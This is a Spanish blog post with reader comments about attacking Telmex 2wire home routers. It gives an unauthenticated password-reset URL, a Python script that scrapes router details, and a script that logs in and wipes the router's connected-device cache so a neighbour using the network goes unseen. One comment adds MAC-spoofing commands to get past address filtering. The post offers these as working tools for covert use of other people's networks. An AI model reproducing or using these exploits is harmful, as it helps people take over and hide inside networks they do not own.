Hackeando modems routers 2wire de telmex – técnica borrado de caché

Hace un tiempo documente una técnica para la “Detección de intrusos en nuestra WI-FI“, hoy he decidido publicar una contra-parte, la parte obscura de como no ser detectado. Todo esto empezó con la historia que le paso a un amigo que solía tomar prestada la red de su vecino, continuación expongo su historia:

 

Esta historia realmente le paso a un amigo

Esta historia realmente le paso a un amigo

 

Antes que nada el hacking no es la intromisión a un sistema, más bien es la comprensión profunda/detallada de tal sistema.

Todo esto me dejo pensando respecto al funcionamiento de estos routers y de como hacerle para no ser detectados, por otra parte he visto algunos documentos respecto a otras técnica por ejemplo:

Cambiando password o reseteando password en modem 2wire

Donde nos explican como al realizar una solicitud al routeador por medio de la URL:

http://home/xslt?PAGE=CD35_SETUP_01_POST&password1=****&password2=****

Al sustituir ***** podemos setear el password de dicho routeador.

para mas info de esta vulnerabilidad seguir reporte [http://seclists.org/bugtraq/2009/Aug/96]

Pero que pasa si lo reseteamos el router?, tendremos Internet pero solo durante un tiempo  pues el “vecino”(victima) se artara y nos pasara lo mismo que mi amigo “toma tu RED“.

En cambio podemos pasar desapercibidos si tan solo borramos la cache del routeador, así cuando el vecino visite la pagina del sitio no vera ninguna maquinas conectada lo cual tal vez le intrigue un poco pero notara que tiene Intenet. por otra parte con el script que publique anteriormente pasara lo mismo pues este extrae la información de la misma pagina.

Sin más la dirección para borrar la cache es la siguiente:

http://home/management/xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET

Donde la URL /management/ refiere a un prefijo administrativo, en otras palabras es necesario logearse para acceder a dicha URL.

Debraye de análisis

–¿por que? es mas fácil resetear el password(no requiere autenticación) que borrar el cache…

En concreto no lo se, pero lo que si es obvio es que nos encontramos ante un problema grave en el diseño de estos routeadores, pues no creo que fuera su intensión el que existieran posts como este en donde se expone sus errores

Si partimos de  las  2 suposiciones respecto a la ruta que resetea el password:

1.- Se les paso incluir tal ruta a la sección q requiere autenticación /management/

2.- Así lo planificaron.

Si se les paso seria un error IMPERDONABLE!, lo cual me quedan mis dudas, yo opto más por la 2da que así lo planificaron dada su falta de experiencia o capacidad pues:

“No encontraron una forma segura  de como resetear la contraseña sin la necesidad de una autenticación previa”.

Y decidieron dejarlo así, subestimando a los usuarios y con la esperanza que nadie indague en sus sistemas.

Eso habla muy mal de ellos ya que normalmente los buenos routers consideran las interfaces de acceso físico(como cable consola y este caso interfaz ethernet) únicas para realizar tales tareas.

Consiguiendo la información del router:

Para acceder a la información no es necesario autenticarte, la pagina 7 es la que muestra al información al cual puedes acceder desde URL que te de acceso a tal información es:

http://home/xslt?PAGE=A07

Bien ahora si nos ponemos un poquito creativos, podemos hacer un script que automatice un poco tal acción y podemos acceder a dicha información sin salirnos de nuestra terminal:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#Muestra la configuración de los ruteadores 2wire de telmex(bastante comunes)
#La salida es en un formato de XML

import urllib2, urllib
import re
ROUTER = "http://192.168.1.254"

MANAGEMENT = 'management'
DS = '/'
#en la pág. 07 esta la información de estos routers
PAGE = "A07"
#Preparamos/abrimos 1conexión para "leer" la pág. de la info del router
opener = urllib2.Request(ROUTER+DS+"xslt?PAGE=A07",None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre del routeador
expr  = re.compile('\<td\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
model = expr.findall(response)
#obtenemos los demas datos del router
expr  = re.compile('\<td\sclass\=\"data\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
data = expr.findall(response)

#las posiciones en la lista model definen la variable, ya que estan en función de como aparecen en la página
print """\
<?xml version="1.0"?>
<config>
<title>Demo Config</title>
	<router>
		<model>"""+model[0]+"""</model>
		<serial_number>"""+data[0]+"""</serial_number>
		<version_hardware>"""+data[1]+"""</version_hardware>
		<version_software>"""+data[2]+"""</version_software>
		<key_code>"""+data[3]+"""</key_code>
	</router>
</config>
"""

Este script esta disponible en: http://gist.github.com/619905

A partir de dicha información puedes ver los reportes para ver que vulnerabilidades tiene.

Pasar desapercibido borrando la cache del router

En cambio ya conseguiste el acceso a la configuracion del router lo que puedes hacer es borrar la información del cache cada determinado tiempo.

Si deseas visitar la url para borrar la cache el router no te lo permite ya que antes requieres identificarte, entonces previamente tienes que hacerlo y posteriormente resetear la cache.

Esto suele ser algo tedioso, así que decidí hacer un script que automatiza tal proceso(logearte y borrar la cache) y no les pase lo de mi amigo:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
#       Copyright 2010 Fitorec - <https://fitorec.wordpress.com>
#       2wireResetCache.py
#        ____      _                             .--.
#       | __ |(_) | |  ___   ____ ___   ____   | o_o |
#       | | _ | ||_ _|/ _ \ / __// _ \ / __/   | :_/  |
#       | __ || | | || (_) || | |  __/| (__   //      \\
#       |_|   |_| | | \___/ |_|  \___/ \___( (|        | )
#          https://fitorec.wordpress.com      /'\_      _/
#                                            \___)=(___/
#	Una ves conectado podemos pasar desapercibidos ante el administrador
#	de la red solo hay que revisar si existimos en el cache del router
#	si es así borramos el cache del router dejándolo vació como si no
#	hubiera ninguna máquina conectada a el.
#	se considera que la IP del router es 192.168.1.254 caso contrario cambiar
#	linea 24,también es necesario conocer la key del router (tip:normalmente los
#	usuarios inexpertos le suelen poner la misma que la clave WEB) y sustituir
#	dicha clave en la linea 24

import urllib2, urllib
import re
""" IP  y contraseña """
KEY	   = "7972247120"
ROUTER = "http://192.168.1.254"

#------------------------
MANAGEMENT = 'management'
DS = '/'
PAGE = "A02_POST"
THISPAGE = ""
NEXTPAGE = "J01"
CMSKICK = ""

def resetLanCache(password):
	cookie_h = urllib2.HTTPCookieProcessor()
	opener = urllib2.build_opener(cookie_h)
	urllib2.install_opener(opener)
	ua = 'Mozilla/5.0 (X11; U; Windows seven; es-ES; rv:1.9.0.11)'
	ua += ' Gecko/2009061118 Windows seven Firefox/3.0.11'
	h = {"User-Agent": ua}
	params = urllib.urlencode({"PASSWORD": password, "PAGE" : PAGE, "THISPAGE"  : THISPAGE, "NEXTPAGE" : NEXTPAGE, "CMSKICK" : CMSKICK})
	r = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt", headers=h)
	f = urllib2.urlopen(r,params)
	reset = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET",None,{})
	f = urllib2.urlopen(reset)
	htmlContent = f.read()
	f.close()

opener = urllib2.Request(ROUTER,None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre de las maquinas
expr  = re.compile('\<span\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/span\>')
compus = expr.findall(response)
#los dos primeros elementos son falsos y los quitamos
compus = compus[2:]
print 'Maquinas conectadas'
if len(compus)>0 :
	print "vamos a borrar las sig. maquinas"
	print compus
	resetLanCache(KEY)

 

fin

fin

 

Espero les sirva!.

P.D.  Existen técnicas por si eres el vecino y quieres atrapar a mi amigo, publicare una la próxima semana, bytes!!.

Anuncios

22 thoughts on “Hackeando modems routers 2wire de telmex – técnica borrado de caché

    • Pues ahora que tenga dinero $$ para mi hospedaje y dominio, de echo por hacer unos trabajos me habían prometido dármelo, pero puras promesas :¬(, Otra seria abrir un hospedaje con anuncios patrocinados, pero esta idea no me atrae mucho..

      Saludos,en cuento lo tenga te aviso.

  1. Pingback: Deteccion de intrusos en nuestra WI-FI – con nmap « Fitorec – Pensamientos Libres!

  2. vivo en un lugar con la red compartida y el admin o un tipo que se quiere pasar de listo desconecta y jala el ancho de banda siempre, creo que hasta sniffea. como puedo detectarlo?

    • Siempre es bueno contar con una via de comunicación segura con alguien, algun cifrado gpg, ssh, te pueden servir para el problema del sninfeo.

      Lo mas recomendable es que trates de indagar la causa de tus problemas de conexión para esto sirve mucho un análisis a la pila del modelo OSI, donde primero que se recomienda revisar es ver si existe la red fisica(la señal en el espacio o el led dle cable ethernet), de ahi el envio de tramas, el encaminamiento de de paquetes, sninfeo de puertos y servicios,capa de sesion, presentacion y aplicacion.

      Para analizar las capas 2,3 y 4 hay programas muy buenos en Unix/linuxs que te pueden ayudar.

  3. Yaaa chale bajenle a sus comentarios pinches huelecolas negativos,si el hace este tutorial es para que pinche gente como ustedes salgan de su retrograda misantropia(odio al projimo) y el internet sea accesible para todos,pinches mamones de doble moral y cinicos al extremo…ninitos llorones,popis-snobs juniorsitos que no saben sudar para ganar un sueldo honesto ya que tienen a papa millonario que les paga el internet y mas!!fuck youuuuu

  4. lol! La salucion para los que si pagamos internet es configurar el router para que solo tire las ips necesarias… desactivar el wifi wtf?! eso es para noobs

    • Esa “solución” es bastante simple de saltar ya que el pool las IPs que resuelven los routeadores se basa en la dirección MAC de los equipos, pero… en linux podemos cambiar nuestra dirección MAC, basta que sepa una dirección MAC valida, p.e. 00:11:22:GG:EE:FF.

      ifconfig wlan0 hw ether 00:11:22:GG:EE:FF

      Esto ligaria a mi targeta wlan0 con una dirección MAC valida, faltaria ligarme a tu red p.e. INFITINUMXXX

      iwconfig wlan0 essid INFITINUMXXX mode Managed

      Finalmente si lanzo el protocolo de resolución dinamico(dhcp).

      dhclient -d wlan0

      Bingo!, tu routeador me daria una ip valida!.

    • Lo mejor es usar una combinación de todo:
      Cambio y ocultación de SSID
      Claves WPA2 largas con combinaciones de letras minúsculas, mayúsculas y números
      Filtrado por MAC e incluso por IP (desactivación del DHCP en el router)

      Evidentemente con esto el router no sera invulnerable (ninguna seguridad es invulnerable al estar hecha por humanos) pero al que quiera entrar en el le sera bastante difícil, nos quitara de enmedio a esos fracasados lusers que se creen hackers cuando leen sobre aircrack.

      • lo mejor es crear una clave binaria combinada con codigos acci eso nunca falla sobre todo que para bajar los paqutes de dicha informacion demoran horas y si tu router lo configuras de tal forma que cabie de contraseña una por cada dia seria bueno, recuerda que si la clave es facil para ti es facil para los demas.
        y tambien robar señal es robar y punto!!!!!!

      • Sí el detalle es que tmb tienen una URL para resetear dicha contraseña y sí una clave alphanumerica ayuda, pero esto es soportado sobre WAP sin embargo la configuración por defecto del cifrado es WEP y ese es otro problema.

        Nunca he intentado promover el robo de la señal, pero si me gusta exponer este tipo de errores de seguridad, creo que las compañias ISP deberían brindar un mejor servicio a sus usuarios finales y no darnos una configuración por defecto tan mala.

        Nota: notar que hago uso de la palabra Yippie.

    • Veras el campo password contiene un elemento aleatorio conocido en la jerga seguridad informática
      como el grano de sal(security salt), este elemento es generado por única ocasión al momento de guardarlo
      en la jerga de joomla lo llaman simplemente como salt, como lo intente explicar el proceso como joomla almacena su campo password es de la manera siguiente:

      Favor de verificar la imagen:

      1. Genera el salt de manera aleatoria.
      2. Genera la cadena encrypt(cadena cifrada) en función de salt y el password sin cifrar.
        El password guardado sera igual a la cadena
      3. cifrada(encrypt) unida por el carácter ‘:’ con la cadena salt
      4. .

      ¿Me preguntas como le harías para validar la contraseña?

      Si reflexionamos un poco nos damos cuenta que si bien salt es generada de manera aleatoria es también almacenada en la BD, por lo cual la no es necesario generarla posteriormente, para autenticar solo requieres hacer algo similar a:

      1. Rescatas tanto encrypt como salt del usuario que se intenta autenticar.
      2. Generas una cadena encrypt2 en función de salt y el password sin cifrar que vas a verificar.
      3. Comparas encrypt con encrypt2 si son iguales entonces, la autenticación es correcta.
  5. creo desde mi punto de vista muy particular que si bien no promueves el robo de señal si insinuas y das claves a los lectores para atraerlos al robo de esta, lo cual se me hace muy deshonesto de tu parte, ya que muchisimas personas muy dificilemnte sostienes este servicio y es muy caro, ejemplo mexico, como para que otros sin pagar un solo peros se roben esto, te gustaria que tu teniendo algo que compraste para ti venga otro y te lo robe? lo permitirias? supongo que, apelo a tu moral par que publiques cosas mas productivas y dejes que nuestro pais avance

    • Sí en general procuro postear cosas que lea sean útiles y productivas a la comunidad(te invito a que revises mis demas artículos).

      Interesante el punto que tocas y sí la verdad es que el servicio de Internet es bastante caro en México y ademas de muy mala calidad tanto en su trasferencia efectiva como sus dispositivos y sus malas configuraciones que nos suelen dejar las compañias ISP mas comunes(sea Prodigy ó CableMas) así me apegue a mi moral desde el momento en que escribí este post pues creo que este tipo de cosas deberían ser de dominio publico(ya que hacen mal su trabajo).

      Por otra parte creo que todas las personas deberían tener el derecho al acceso a la Internet😋.

      Saludos.

  6. venga muy buen articulo pero…
    si estas conectado inalambricamente como entras al router de el vecino hay alguna forma de entrar ??
    digo porque como lo configuras sin tener acceso al mismo router por lo menos directamente si no que solamente inalambricamente ??
    y bueno…. espero que puedas al menos decirmelo solamente por curiosidad
    saludos

  7. Que tal amigo, mira necesito tu ayuda estuve probando los links para el reseteo de la key, pero el problema es……el modem que poseo en estos momentos es un 2wire modelo 4011G, la cuestión es la siguiente es que este modem lo tengo ya hace tiempo que por “x o y” razón no devolví (no recuerdo) y me quede con él, ahora que lo encontre quiero utilizarlo como puente pero la contraseña que tiene es personalizada y no la recuerdo, la webkey que trae no la acepta, poseo el modem fisicamente con su serie y quisiera desbloquearlo para entrar a configurarlo en modo puente, me puedes ayudar…. mi correo es *******@gmail.com

  8. Qué tal, me cambiaron mi contraseña para que no se roben el internet. Pero la nueva contraseña me la ponen con signos de admiración y (!!!###). Es para recuperar la información que sale desde el modem o porque me la pusieron así. Gracias por responderme y muy útiles tus comentarios. Saludos!!!

  9. Hola buenas tardes, hace tiempo me llegue a conectar de u na red, de la cual tenia acceso desde hace tiempo, despues mi primo cambio el tipo de seguridad haciendolo wpa psk2 y ya no puedo entrar a ella. es el mismo modem, y la ocntraseña que trae el modem es la que yo tengo ¿ puedo hacer algo para volver a conectarme? no quiero pedrile favor!! mne pueden ayudar??

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s